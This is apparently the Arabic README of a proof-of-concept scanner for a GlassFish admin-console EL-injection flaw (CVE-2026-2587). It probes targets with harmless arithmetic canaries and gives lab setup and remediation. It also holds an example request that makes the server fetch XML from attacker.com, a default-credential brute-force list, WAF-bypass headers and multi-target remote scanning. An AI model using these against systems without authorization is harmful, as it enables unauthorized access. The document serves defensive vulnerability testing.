
مدقق PoC لـ CVE-2026-2587 لثغرة EL Injection في Eclipse GlassFish تؤدي إلى RCE في معالج gadget.jsf بوحدة التحكم الإدارية. ماسح آمن ومعتمد للثغرات للاختبار المصرح به.
أداة تحقق آمنة (PoC) لـ CVE-2026-2587، وهي ثغرة حرجة من نوع حقن Expression Language (EL) / تنفيذ أوامر عن بُعد (RCE) تؤثر على معالج الأدوات (gadget handler) في لوحة إدارة Eclipse GlassFish عبر /common/gadgets/gadget.jsf.
تساعد هذه الأداة فرق الأمن في التحقق من التعرض لـ CVE-2026-2587 في بيئات GlassFish المصرح بها باستخدام "كناري" (canary) حسابي عادي (benign arithmetic EL canary).
المُعين من قبل: مؤسسة Eclipse (CNA) · تاريخ النشر: 19 مايو 2026 CVSS:
9.6 حرج·AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:HCWE: CWE-917 — حقن Expression Language الإصدارات المتأثرة:غير معروفةفي الإفادة العامة حتى 21 مايو 2026 الإصدارات المصححة:غير معروفةفي الإفادة العامة حتى 21 مايو 2026 قاعدة الماسح الضوئي: الإصدار مخصص للسياق فقط في التوجيه/الإبلاغ؛ الحكم يتطلب دليلاً.
توجد ثغرة حرجة في تنفيذ الأوامر عن بُعد في معالج أدوات لوحة إدارة GlassFish. يقوم التطبيق بمعالجة ملفات .xml يتم جلبها من عنوان URL يُقدم عبر معامل الاستعلام gadget= ويقيم القيم التي يوفرها المستخدم داخل سمات <ModulePrefs> من خلال محرك Java Expression Language (EL) دون تعقيم أو هروب.```
GET /common/gadgets/gadget.jsf?gadget=http://attacker.com/payload.xml
إذا احتوى XML على `#{7*7}` في سمة `<ModulePrefs title="">`، يقوم GlassFish بتقييمه من جانب الخادم ويعيد `49` — مما يؤكد تنفيذ EL. وتتبع سلسلة كاملة من RCE عبر وصول EL إلى وقت تشغيل Java.
السجلات الاستشارية العامة الحالية لا تنشر نطاق الإصدارات المتأثرة أو المصححة. لهذا فإن هذا المدقق يعتمد على الإثبات أولاً: فهو يبصم GlassFish ويبلغ عن بيانات الإصدار، لكنه لا يصنف الهدف على أنه ضعيف من خلال سلسلة الإصدار وحدها.
---
## كيف يعمل

يقوم مسار التحقق الآمن باستضافة استعلام XML غير ضار، ويرسل طلبًا موثًقًا إلى وحدة تحكم الإدارة إلى `gadget.jsf`، ويترك GlassFish يقوم بجلب ذلك XML من رابط الاستدعاء الخلفي، ويتحقق مما إذا كان الكناري `<ModulePrefs title="">` يقيم من `#{7*7}` إلى `49`.
**تأكيد نقطة الحقن مقابل عدمه:**```xml
<!-- ✅ EL IS evaluated -->
<ModulePrefs title="#{7*7}" /> <!-- returns 49 -->
<ModulePrefs description="#{7*7}" /> <!-- returns 49 -->
<!-- ❌ EL NOT evaluated -->
<Content type="html">
<![CDATA[ #{7*7} ]]> <!-- returns #{7*7} literally -->
</Content>
ناقل CVSS PR:N / UI:R يعني:
PR:N — لا يحتاج المهاجم إلى أي بيانات اعتماد خاصة بهUI:R — يجب أن يتفاعل مسؤول مسجل الدخول (تسليم CSRF)للتحقق المخبري، تجاوز CSRF تمامًا — استخدم جلستك الإدارية الخاصة مباشرة.
المتطلبات: Python 3.9+ · `requests````bash git clone https://github.com/Bhanunamikaze/CVE-2026-2587-Exploit-POC cd CVE-2026-2587-Exploit-POC pip install requests
pip install colorama
**محتويات المستودع:**```
CVE-2026-2587-Exploit-POC/
├── assets/
│ └── cve-2026-2587-validation-flow.png ← README workflow diagram
├── CVE-2026-2587-Exploit-POC.py ← main script
├── probe.xml ← ready-to-host static probe XML
├── targets.txt.example ← multi-target file template
└── README.md
ملاحظة: لا تزال GHSA تدرج الإصدارات المتأثرة والمصححة على أنها غير معروفة.
omnifish/glassfish:7.0.15هو مرشح مختبر قوي — ليس بناءً مضمونًا ليكون عرضة للخطر. تظل أداة التحقق الأولية هي الكناري الحسابي: إذا كان#{7*7}يساوي49، فإن EL نشط.
docker compose -f docker-compose.lab.yml up
يقوم بتشغيل GlassFish 7.0.15 مع ربط المنافذ بـ `127.0.0.1` فقط و `host.docker.internal` مربوط مسبقًا بحيث يمكن للحاوية الوصول إلى خادم XML المحلي الخاص بك.
### الخيار ب — docker run مباشر```bash
docker run --rm \
--name gf-cve-2026-2587-lab \
-p 127.0.0.1:8080:8080 \
-p 127.0.0.1:4848:4848 \
--add-host=host.docker.internal:host-gateway \
omnifish/glassfish:7.0.15
وحدة التحكم الإدارية: https://localhost:4848 · تسجيل الدخول: admin / admin
(شهادة ذاتية التوقيع — تحذير المتصفح متوقع.)
في محطة طرفية ثانية:```bash
python3 -m http.server 8000 --bind 0.0.0.0
تحقق من إمكانية الوصول من منظور الحاوية:```bash
docker exec gf-cve-2026-2587-lab \
curl -s http://host.docker.internal:8000/probe.xml | head -5
سجل الدخول إلى لوحة التحكم الإدارية أولاً (جلسة متصفح أو --cookie)، ثم:```bash
curl -sk
-H "Cookie: JSESSIONID=YOUR_SESSION_ID"
"https://localhost:4848/common/gadgets/gadget.jsf?gadget=http%3A%2F%2Fhost.docker.internal%3A8000%2Fprobe.xml"
| grep -oE 'CVE2587_(TITLE|BODY)_[^"< ]+'
| المخرجات | المعنى |
|---|---|
| `CVE2587_TITLE_49_END` | **قابل للاختراق** — تم تقييم EL في `ModulePrefs title` |
| `CVE2587_BODY_49_END` | **قابل للاختراق** — تم تقييم EL في نص CDATA |
| `CVE2587_TITLE_#{7*7}_END` | غير قابل للاختراق / لم يتم تقييم EL |
| *(no output)* | لم يقم GlassFish بجلب XML — تحقق من إمكانية الوصول إلى الاستدعاء |
> عادةً ما يظل نص CDATA خامًا حتى في الإصدارات القابلة للاختراق؛ نتيجة `TITLE` الإيجابية وحدها كافية لتأكيد النتيجة.
---
### التحقق الآلي ضد المختبر المحلي```bash
python3 CVE-2026-2587-Exploit-POC.py \
--base https://localhost:4848 \
--listen 0.0.0.0:8000 \
--callback-url http://host.docker.internal:8000 \
--username admin --password admin \
--insecure --verbose
يأتي المستودع مع probe.xml جاهز للاستخدام. يمكنك أيضًا إنشاء ملف جديد في أي وقت — مفيد عندما تريد بادئة canary مخصصة أو قيم عشوائية بحيث يكون المسبار فريدًا لكل مهمة.```bash
python3 CVE-2026-2587-Exploit-POC.py --generate-xml probe.xml
python3 CVE-2026-2587-Exploit-POC.py
--generate-xml probe.xml
--prefix MYTEST --left 13 --right 17
python3 CVE-2026-2587-Exploit-POC.py --generate-xml -
python3 CVE-2026-2587-Exploit-POC.py
--generate-xml probe_$(date +%s).xml
--prefix SCAN$(date +%s) --left 31 --right 127
المخرجات بعد الكتابة إلى ملف:```
[+] probe XML written → probe.xml
Expression : #{7*7}
Expects : CVE2587_TITLE_49_END in response title
Host this file at a URL reachable by the target server.
Then run:
--xml-url http://YOUR_SERVER/probe.xml
--prefix CVE2587 --left 7 --right 7
استخدم عندما يكون GlassFish قيد التشغيل محليًا أو في Docker على نفس الجهاز.
احصل على JSESSIONID الخاص بك من أدوات المطور (DevTools) في المتصفح → التطبيق (Application) → ملفات تعريف الارتباط (Cookies) أثناء تسجيل الدخول إلى وحدة التحكم الإدارية، ثم:```bash
python3 CVE-2026-2587-Exploit-POC.py
--base https://localhost:4848
--listen 0.0.0.0:8000
--callback-url http://host.docker.internal:8000
--cookie "JSESSIONID=YOUR_SESSION_ID"
--insecure --verbose
python3 CVE-2026-2587-Exploit-POC.py
--base https://localhost:4848
--listen 0.0.0.0:8000
--callback-url http://127.0.0.1:8000
--cookie "JSESSIONID=YOUR_SESSION_ID"
--insecure
> `host.docker.internal` يحل إلى الجهاز المضيف من داخل Docker.
> حاوية GlassFish تجلب ملف XML الخاص بك عبر هذا العنوان.
---
### بيانات الاعتماد```bash
python3 CVE-2026-2587-Exploit-POC.py \
--base https://localhost:4848 \
--listen 0.0.0.0:8000 \
--callback-url http://host.docker.internal:8000 \
--username admin --password admin \
--insecure --verbose
إذا فشل تسجيل الدخول عبر النموذج، ينتقل البرنامج النصي إلى تجربة نقطة النهاية على أي حال. إذا فشل ذلك أيضًا، فإنه يطبع تعليمات خطوة بخطوة للحصول على ملف تعريف ارتباط جلسة.
عندما لا تملك أي بيانات اعتماد على الإطلاق، يحاول --brute 21 زوجًا شائعًا من بيانات اعتماد GlassFish الافتراضية
بالترتيب ويستخدم أول زوج ينجح.
متبادل الحصر مع --username و --cookie.```bash
python3 CVE-2026-2587-Exploit-POC.py
--base https://localhost:4848
--listen 0.0.0.0:8000
--callback-url http://host.docker.internal:8000
--brute --insecure --verbose
إذا تم العثور على زوج صالح، يتم طباعته في المخرجات وتسجيله في عمود `brute_creds` في ملف CSV. إذا فشلت جميع الأزواج، يخرج المسح بـ `AUTH_REQUIRED`.
بعض إصدارات GlassFish تعيد `/login.jsf` بعد طلب POST صالح. لا يعتبر المدقق عنوان URL هذا وحده فشلاً؛ بل يؤكد الجلسة من خلال فحص نقطة نهاية الأداة الإدارية والتحقق من أن الاستجابة ليست نموذج تسجيل الدخول.
قائمة بيانات الاعتماد التي تم تجربتها (بالترتيب):
| اسم المستخدم | كلمة المرور |
|---|---|
| `admin` | `admin` |
| `admin` | `*(empty)*` |
| `admin` | `adminadmin` |
| `admin` | `password` |
| `admin` | `admin123` |
| `admin` | `Admin1234` |
| `admin` | `glassfish` |
| `admin` | `glassfishadmin` |
| `admin` | `changeit` |
| `admin` | `changeme` |
| `admin` | `secret` |
| `admin` | `welcome1` |
| `admin` | `oracle` |
| `admin` | `Oracle123` |
| `administrator` | `administrator` |
| `administrator` | `password` |
| `administrator` | `admin` |
| `glassfish` | `glassfish` |
| `root` | `root` |
| `root` | `password` |
| `root` | `toor` |
---
### الوصول عن بُعد عبر نفق Cloudflare
لا حاجة لحساب لنفق سريع.
**الخطوة 1 — تثبيت cloudflared:**```bash
# macOS
brew install cloudflared
# Linux
wget -q https://github.com/cloudflare/cloudflared/releases/latest/download/cloudflared-linux-amd64.deb
sudo dpkg -i cloudflared-linux-amd64.deb
الخطوة 2 — بدء النفق:```bash
cloudflared tunnel --url http://localhost:8000
**الخطوة 3 — تشغيل المدقق:**
استخدم نفس اسم المضيف المُنشأ مع `http://` لعنوان URL لرد الاتصال. هذا يتجنب
أخطاء مخزن الثقة في JVM في حاويات GlassFish المخبرية التي لا يمكنها التحقق من
سلسلة شهادات TLS الخاصة بـ Cloudflare. إذا قمت بلصق عنوان `https://`
trycloudflare المُنشأ، يقوم المدقق بإعادة كتابة رد الاتصال إلى `http://` ويطبع
تحذيرًا. الشرطة المائلة اللاحقة اختيارية؛ يقوم المدقق بإلحاق `/canary.xml` و
مسارات XML الخاصة بكل اختبار تلقائيًا.```bash
# Terminal 2
python3 CVE-2026-2587-Exploit-POC.py \
--base https://REMOTE_TARGET:4848 \
--listen 0.0.0.0:8000 \
--callback-url http://random-words.trycloudflare.com \
--cookie "JSESSIONID=YOUR_SESSION_ID" \
--insecure
استخدمه عندما لا تستطيع تشغيل خادم محلي. يجب أن يكون جهاز JVM لـ GlassFish الهدف قادرًا
على جلب عنوان URL هذا مباشرةً، لذا فإن HTTP العادي على خادم VPS/خادم ويب موثوق به غالبًا
ما يكون أكثر موثوقية من مستضيفي HTTPS الذين لا تثق سلسلة شهاداتهم في
JVM الهدف.
يتجاوز العلم --xml-url الخادم المدمج بالكامل.
قم بإنشاء XML فحص جديد، ثم استضفه:```bash
python3 CVE-2026-2587-Exploit-POC.py --generate-xml probe.xml
python3 -m http.server 8000 # local, then expose via Cloudflare Tunnel scp probe.xml user@YOUR_VPS:/var/www/ # VPS or any web server
python3 CVE-2026-2587-Exploit-POC.py
--base https://TARGET:4848
--xml-url http://YOUR_SERVER/probe.xml
--prefix CVE2587 --left 7 --right 7
--cookie "JSESSIONID=YOUR_SESSION_ID"
--insecure
> `--prefix`، `--left`، `--right` يجب أن تتطابق مع القيم الموجودة داخل ملف XML المستضاف لديك
> حتى يعرف السكريبت أي رمز تم تقييمه يبحث عنه في الرد.
---
### عن بُعد عبر ngrok (الملاذ الأخير)
استخدم ngrok فقط كخيار أخير للأهداف البعيدة. يمكن للطبقة المجانية أن تحجب
عمليات الجلب من جانب الخادم التي لا تأتي من متصفح من خلال إرجاع صفحة تحذيرية
HTML وسيطة. في هذه الحالة، يقوم GlassFish بجلب صفحة التحذير بدلاً من
ملف `probe.xml` الخاص بك، وقد يصنف المدقق الرد كصفحة تسجيل دخول أو
نتيجة غير حاسمة. يُفضل استخدام Cloudflare Tunnel أو VPS أو مضيف ويب ثابت
يمكن لـ JVM الهدف الجلب منه بشكل نظيف ما لم يكن لديك حساب مدفوع في ngrok
يتجاوز هذا القيد.
**الخطوة 1 — تثبيت ngrok:**```bash
# macOS
brew install ngrok
# Linux
curl -sSL https://ngrok-agent.s3.amazonaws.com/ngrok.asc \
| sudo tee /etc/apt/trusted.gpg.d/ngrok.asc >/dev/null
echo "deb https://ngrok-agent.s3.amazonaws.com buster main" \
| sudo tee /etc/apt/sources.list.d/ngrok.list
sudo apt update && sudo apt install ngrok
الخطوة 2 — تعريض الخادم المحلي الخاص بك:```bash
ngrok http 8000
**الخطوة 3 — تشغيل المدقق:**```bash
# Terminal 2
python3 CVE-2026-2587-Exploit-POC.py \
--base https://REMOTE_TARGET:4848 \
--listen 0.0.0.0:8000 \
--callback-url https://abc123.ngrok-free.app \
--cookie "JSESSIONID=YOUR_SESSION_ID" \
--insecure
استبدل
abc123.ngrok-free.appبعنوان ngrok الفعلي الخاص بك. يبدأ البرنامج النصي خادم XML الخاص به على:8000؛ يقوم ngrok بتوجيه الاتصالات من الإنترنت إليه.
اختبر ما إذا كانت نقطة النهاية مكشوفة عن طريق الخطأ بدون مصادقة قبل إجراء فحص كامل بالمصادقة. يخرج فورًا بعد Phase 1.```bash
python3 CVE-2026-2587-Exploit-POC.py
--base https://TARGET:4848
--listen 0.0.0.0:8000
--callback-url http://YOUR_IP:8000
--check-unauth-only --insecure
---
## الاستخدام — أهداف متعددة
### تنسيق ملف الأهداف
يتضمن المستودع `targets.txt.example` كقالب. انسخه وعدّله:```bash
cp targets.txt.example targets.txt
# edit targets.txt with your servers
التنسيق — هدف واحد لكل سطر، يتم تجاهل الأسطر التي تبدأ بـ # والأسطر الفارغة، تتجاوز بيانات الاعتماد الخاصة بكل هدف البيانات العالمية --username/--password:```
https://server2:4848 admin password123 https://server3:4848 ops secret99
https://server4:4848 admin:admin
تشغيل ضد جميع الأهداف:```bash
python3 CVE-2026-2587-Exploit-POC.py \
--targets-file targets.txt \
--listen 0.0.0.0:8000 \
--callback-url https://random-words.trycloudflare.com \
--username admin --password admin \
--insecure \
--csv results.csv
--usernameالعالمي /--passwordينطبق على الأهداف التي لا تملك بيانات اعتماد لكل سطر. بيانات الاعتماد لكل سطر لها الأولوية على البيانات العالمية.
استخدم --threads لمسح أهداف متعددة بشكل متزامن.
خادم XML المدمج مشترك عبر جميع الخيوط.```bash
python3 CVE-2026-2587-Exploit-POC.py
--targets-file targets.txt
--listen 0.0.0.0:8000
--callback-url https://random-words.trycloudflare.com
--username admin --password admin
--threads 10
--insecure
--csv results.csv --json
> أعداد المواضيع الموصى بها:
> - المختبر المحلي: حتى `10`
> - الأهداف البعيدة عبر الإنترنت: `3–5` (احترام حدود المعدل)
> - هدف واحد: `1` (افتراضي)
---
## تنسيقات الإخراج
### الكونسول
إخراج افتراضي قابل للقراءة البشرية. أضف `--verbose` لرؤية نتائج كل حالة اختبار.```
────────────────────────────────────────────────────────────────
Target : https://localhost:4848
Server : Eclipse GlassFish 7.0.15
Version : Eclipse GlassFish 7.0.15 [asadmin-api] (affected: UNKNOWN)
Console : present | Gadget: present | Proof: evaluated
[+] VULNERABLE — 9/10 test cases confirmed
[+] TC-01 Basic multiply #{7*7} → 49
[+] TC-02 Addition #{1337+2587} → 3924
[+] TC-03 Large multiply #{31337*271} → 8492327
...
Remediation: restrict admin access and apply vendor-published fixed builds when available.
ملخص متعدد الأهداف:``` ════════════════════════════════════════════════════════════════ SCAN SUMMARY — 4 target(s) ════════════════════════════════════════════════════════════════ Vulnerable : 2 Not vulnerable : 1 Auth required : 1 Error / other : 0 ════════════════════════════════════════════════════════════════
### CSV```bash
# Write to file
--csv results.csv
# Write to stdout (pipe-friendly)
--csv -
أمثلة على الصفوف:```csv target,timestamp,verdict,vulnerable_count,total_tests,unauth_exposed,active_endpoint,server_header,detected_version,version_source,version_affected,admin_console,gadget_endpoint,proof,brute_creds,TC-01 Basic multiply,...,notes https://server1:4848,2026-05-21T10:00:00+00:00,VULNERABLE,9,10,no,https://server1:4848/common/gadgets/gadget.jsf,Eclipse GlassFish 7.0.15,Eclipse GlassFish 7.0.15,asadmin-api,UNKNOWN,present,present,evaluated,,VULNERABLE,..., https://server2:4848,2026-05-21T10:00:05+00:00,NOT_VULNERABLE,0,10,no,https://server2:4848/common/gadgets/gadget.jsf,Eclipse GlassFish 8.0.1,Eclipse GlassFish 8.0.1,header:Server,UNKNOWN,present,present,not_evaluated,,NOT_VULNERABLE,..., https://server3:4848,2026-05-21T10:00:08+00:00,AUTH_REQUIRED,0,10,no,,,,,UNKNOWN,present,blocked,not_attempted,,,Session rejected or cookie expired
---
### JSON```bash
--json
هدف واحد:```json { "active_endpoint": "https://localhost:4848/common/gadgets/gadget.jsf", "admin_console": "present", "detected_version": "Eclipse GlassFish 7.0.15", "gadget_endpoint": "present", "proof": "evaluated", "server_header": "Eclipse GlassFish 7.0.15", "target": "https://localhost:4848", "tested_paths": [ "https://localhost:4848/common/gadgets/gadget.jsf", "https://localhost:4848/admin/common/gadgets/gadget.jsf", "https://localhost:4848/console/common/gadgets/gadget.jsf", "https://localhost:4848/glassfish/common/gadgets/gadget.jsf", "https://localhost:4848/asadmin/common/gadgets/gadget.jsf" ], "timestamp": "2026-05-21T10:00:00+00:00", "verdict": "VULNERABLE", "version_affected": "UNKNOWN", "version_source": "asadmin-api", "vulnerable_count": 9, "total_tests": 10, "unauth_result": "AUTH_REQUIRED", "tc_results": [ {"name": "TC-01 Basic multiply", "expr": "#{7*7}", "expects": "49", "status": "VULNERABLE"}, {"name": "TC-02 Addition", "expr": "#{1337+2587}", "expects": "3924", "status": "VULNERABLE"} ] }
الأهداف المتعددة ترجع مصفوفة JSON.
---
### دمج المخرجات
جميع صيغ المخرجات مستقلة — ادمج بحرية:```bash
# Console + CSV + JSON simultaneously
python3 CVE-2026-2587-Exploit-POC.py \
--targets-file targets.txt \
--listen 0.0.0.0:8000 \
--callback-url https://random-words.trycloudflare.com \
--username admin --password admin \
--threads 5 --insecure --verbose \
--csv results.csv \
--json > results.json
بشكل افتراضي، يختبر الماسح مسار أداة GlassFish المشتركة تحت جذور واجهة الإدارة الرسومية الشائعة:```text /common/gadgets/gadget.jsf /admin/common/gadgets/gadget.jsf /console/common/gadgets/gadget.jsf /glassfish/common/gadgets/gadget.jsf /asadmin/common/gadgets/gadget.jsf
كما يتعلم جذر سياق واجهة المستخدم غير الافتراضي من رؤوس إعادة التوجيه `Location` ويسبق هذا الجذر قبل الاختبار. استخدم قيم `--path` القابلة للتكرار فقط عندما تريد تجاوز قائمة الاكتشاف هذه.
يتم محاولة اكتشاف الإصدار من رؤوس الاستجابة، وواجهة برمجة تطبيقات REST للإدارة، وصفحة تسجيل الدخول، وبعد تسجيل الدخول الناجح، من `/__asadmin/version.json` أو `/__asadmin/version`. تعمل بيانات الإصدار على تحسين التوجيه وإعداد التقارير فقط؛ يترك الماسح `version_affected` كـ `UNKNOWN` حتى تنشر سجلات الاستشارات العامة حدًا للإصدار.
---
### قيم Canary المخصصة
قم بمطابقة المدقق مع ملف XML مصنوع يدويًا باستخدام `--prefix`، `--left`، `--right`. مطلوب عند استخدام `--xml-url` مع ملف مستضاف خاص بك.```bash
# Matches: <ModulePrefs title="MYTEST_TITLE_#{13*17}_END" />
# Expects: MYTEST_TITLE_221_END in response
python3 CVE-2026-2587-Exploit-POC.py \
--base https://TARGET:4848 \
--xml-url http://YOUR_SERVER/custom.xml \
--prefix MYTEST --left 13 --right 17 \
--cookie "JSESSIONID=YOUR_SESSION_ID" \
--insecure
أضف رؤوسًا عشوائية — مفيدة لتجاوز WAF، توجيه موازن التحميل، أو الاختبار خلف وكيل عكسي.```bash
python3 CVE-2026-2587-Exploit-POC.py
--base https://TARGET:4848
--listen 0.0.0.0:8000
--callback-url http://YOUR_IP:8000
--cookie "JSESSIONID=YOUR_SESSION_ID"
--header "X-Forwarded-For: 127.0.0.1"
--header "X-Original-URL: /common/gadgets/gadget.jsf"
--header "X-Custom-Header: value"
--proxy http://127.0.0.1:8080
--insecure
---
## حالات الاختبار
يقوم المدقق بتشغيل 10 مجسات EL متميزة، كل منها يؤكد قدرة مختلفة:
| # | الحمولة | متوقع | ما يثبته |
|---|---|---|---|
| TC-01 | `#{7*7}` | `49` | كناري حسابي أساسي |
| TC-02 | `#{1337+2587}` | `3924` | عامل الجمع |
| TC-03 | `#{31337*271}` | `8492327` | ضرب كبير مقاوم للتصادم |
| TC-04 | `#{9999-1337}` | `8662` | عامل الطرح |
| TC-05 | `#{(6+1)*(6+1)}` | `49` | أقواس متداخلة / أسبقية العوامل |
| TC-06 | `#{1==1?'VULN':'SAFE'}` | `VULN` | شرطي / ثلاثي — يتم تنفيذ تدفق التحكم |
| TC-07 | `#{'CVE'.concat('2026')}` | `CVE2026` | الوصول إلى طريقة السلسلة النصية |
| TC-08 | `#{'GL'.concat('ASS').concat('FISH')}` | `GLASSFISH` | استدعاءات الطرق المتسلسلة |
| TC-09 | `#{17 mod 5}` | `2` | عامل الكلمة المفتاحية EL |
| TC-10 | `#{100*100}` | `10000` | تأكيد حسابي إضافي |
تعتبر TC-06 وTC-07 وTC-08 الأكثر أهمية — اجتيازها يعني أن محرك EL ينفذ **طرق واجهة برمجة التطبيقات للسلسلة النصية والمنطق الشرطي**، وهو السابق المباشر لسلسلة RCE الكاملة.
---
## تفسير المخرجات
| الحالة | المعنى |
|---|---|
| `VULNERABLE` | تم تقييم تعبير EL — تم تأكيد تأثر المثيل |
| `VULNERABLE_UNAUTH` | نقطة النهاية مكشوفة بدون مصادقة — أسوأ من CVE الأساسي |
| `NOT_VULNERABLE` | تم عكس التعبير حرفيًا — لم يتم تقييم EL |
| `AUTH_REQUIRED` | أعادت نقطة النهاية صفحة تسجيل الدخول — تحقق من ملف تعريف الارتباط أو بيانات الاعتماد |
| `INCONCLUSIVE` | تم استلام الرد ولكن لم يتم العثور على الكناري — انظر أدناه |
| `ERROR` | فشل الطلب — مشكلة في الشبكة / TLS |
`detected_version` و `version_source` هما سياق داعم. نظرًا لأن الإعلانات العامة حاليًا تدرج الإصدارات المتأثرة والمصححة على أنها غير معروفة، فلا تعامل `version_affected=UNKNOWN` كنتيجة سلبية. النتيجة الإيجابية الوحيدة هي رمز إثبات تم تقييمه.
**استكشاف أخطاء INCONCLUSIVE وإصلاحها:**
| العرض | السبب | الإصلاح |
|---|---|---|
| `XML hits: 0` | لم يجلب GlassFish ملف XML الخاص بك أبدًا | `--callback-url` لا يمكن الوصول إليها من الهدف |
| `XML hits: 1+` but no match | تم تقييم EL ولكن الحقل خاطئ | متوقع لمحتوى CDATA |
| Auth redirect mid-run | انتهت الجلسة | احصل على `JSESSIONID` جديدة من المتصفح |
| Login POST redirects to `j_security_check` | كلمة مرور خاطئة | استخدم `--cookie` بدلاً من ذلك |
---
## التحقق اليدوي
لا يتطلب Python:```bash
# Step 1 — create probe XML
mkdir probe && cat > probe/probe.xml << 'EOF'
<?xml version="1.0"?>
<Module>
<ModulePrefs title="PROBE_#{7*7}_END"/>
<Content type="html"><![CDATA[ok]]></Content>
</Module>
EOF
# Step 2 — serve it
python3 -m http.server 8000 --directory probe &
# Step 3 — hit the endpoint with your session cookie
curl -sk \
-H "Cookie: JSESSIONID=YOUR_SESSION_ID" \
"https://localhost:4848/common/gadgets/gadget.jsf?gadget=http://host.docker.internal:8000/probe.xml" \
| grep -oE 'PROBE_[^"< ]+_END'
# Vulnerable output:
# PROBE_#{7*7}_END ← raw (CDATA — expected)
# PROBE_49_END ← evaluated ✅ VULNERABLE
هذا المستودع مخصص لاختبار الأمان والبحث المصرح بهما فقط.
تخطيط المستودع:``` CVE-2026-2587-Exploit-POC/ ├── assets/ │ └── cve-2026-2587-validation-flow.png ← README workflow diagram ├── CVE-2026-2587-Exploit-POC.py ← validator script ├── probe.xml ← ready-to-host static probe XML (#{7*7} canary) ├── targets.txt.example ← multi-target file template └── README.md
---
<p align="center">
<a href="https://github.com/Bhanunamikaze">github.com/Bhanunamikaze</a>
</p>
| السيناريو | هل المصادقة مطلوبة؟ |
|---|
الوصول المباشر إلى gadget.jsf | نعم — مصادقة FORM، صفحة تسجيل دخول 200 |
| هجوم CSRF واقعي | لا — يستغل جلسة المدير النشطة |
| هذا المُتحقّق | نعم — --cookie أو --username/--password |
| فحص التعرض غير المُصادَق عليه | لا — يقوم البرنامج النصي باختبار هذا تلقائيًا |
| العمود | الوصف |
|---|
target | عنوان URL الهدف |
timestamp | وقت المسح بصيغة ISO-8601 UTC |
verdict | VULNERABLE / NOT_VULNERABLE / AUTH_REQUIRED / VULNERABLE_UNAUTH / ERROR |
vulnerable_count | عدد حالات الاختبار التي أكدت تقييم EL |
total_tests | إجمالي حالات الاختبار المنفذة |
unauth_exposed | YES إذا استجاب نقطة النهاية بدون مصادقة |
active_endpoint | عنوان URL لنقطة النهاية المستخدمة للاختبار |
server_header | عنوان Server: من GlassFish |
detected_version | سلسلة الإصدار إذا تم التعرف عليه |
version_source | مصدر قيمة الإصدار: header، صفحة REST/تسجيل الدخول، أو asadmin-api |
version_affected | حالة الإصدار من حيث التوصيات. حالياً UNKNOWN لأن النطاقات المتأثرة/المصححة غير منشورة |
admin_console | present, not_found, أو unknown |
gadget_endpoint | present, blocked, not_found, أو unknown |
proof | evaluated, not_evaluated, أو not_attempted |
TC-01 … TC-10 | نتيجة لكل اختبار: VULNERABLE / NOT_VULNERABLE / INCONCLUSIVE / SKIPPED |
notes | رسالة الخطأ إذا فشل المسح |
| الإجراء | التفاصيل |
|---|
| الترقية | قم بتطبيق البناء الثابت الذي ينشره البائع عند نشر Eclipse/NVD/GHSA لحد الإصدار المُصحّح |
| تعطيل معالج الأدوات | احظر /common/gadgets/gadget.jsf في جدار الحماية/WAF إذا لم يكن قيد الاستخدام |
| جدار حماية لوحة الإدارة | اقتصر المنفذ 4848 على عناوين IP الموثوقة فقط |
| حماية CSRF | تأكد من سمة ملف تعريف الارتباط SameSite في جلسات الإدارة |
| قاعدة WAF | احظر #{ و ${ في نصوص XML التي تصل إلى نقطة نهاية الأدوات |
| المورد | الرابط |
|---|
| NVD | https://nvd.nist.gov/vuln/detail/CVE-2026-2587 |
| استشارة GitHub (GHSA) | https://github.com/advisories/GHSA-29wv-cv7p-xjc2 |
| تتبع CVE لـ Eclipse | https://gitlab.eclipse.org/security/cve-assignment/-/issues/86 |
| مصدر Eclipse GlassFish | https://github.com/eclipse-ee4j/glassfish |
| CWE-917 | https://cwe.mitre.org/data/definitions/917.html |
| المُبلّغ | Camilo G. (DeepSecurity Perú) — @SeguridadBlanca |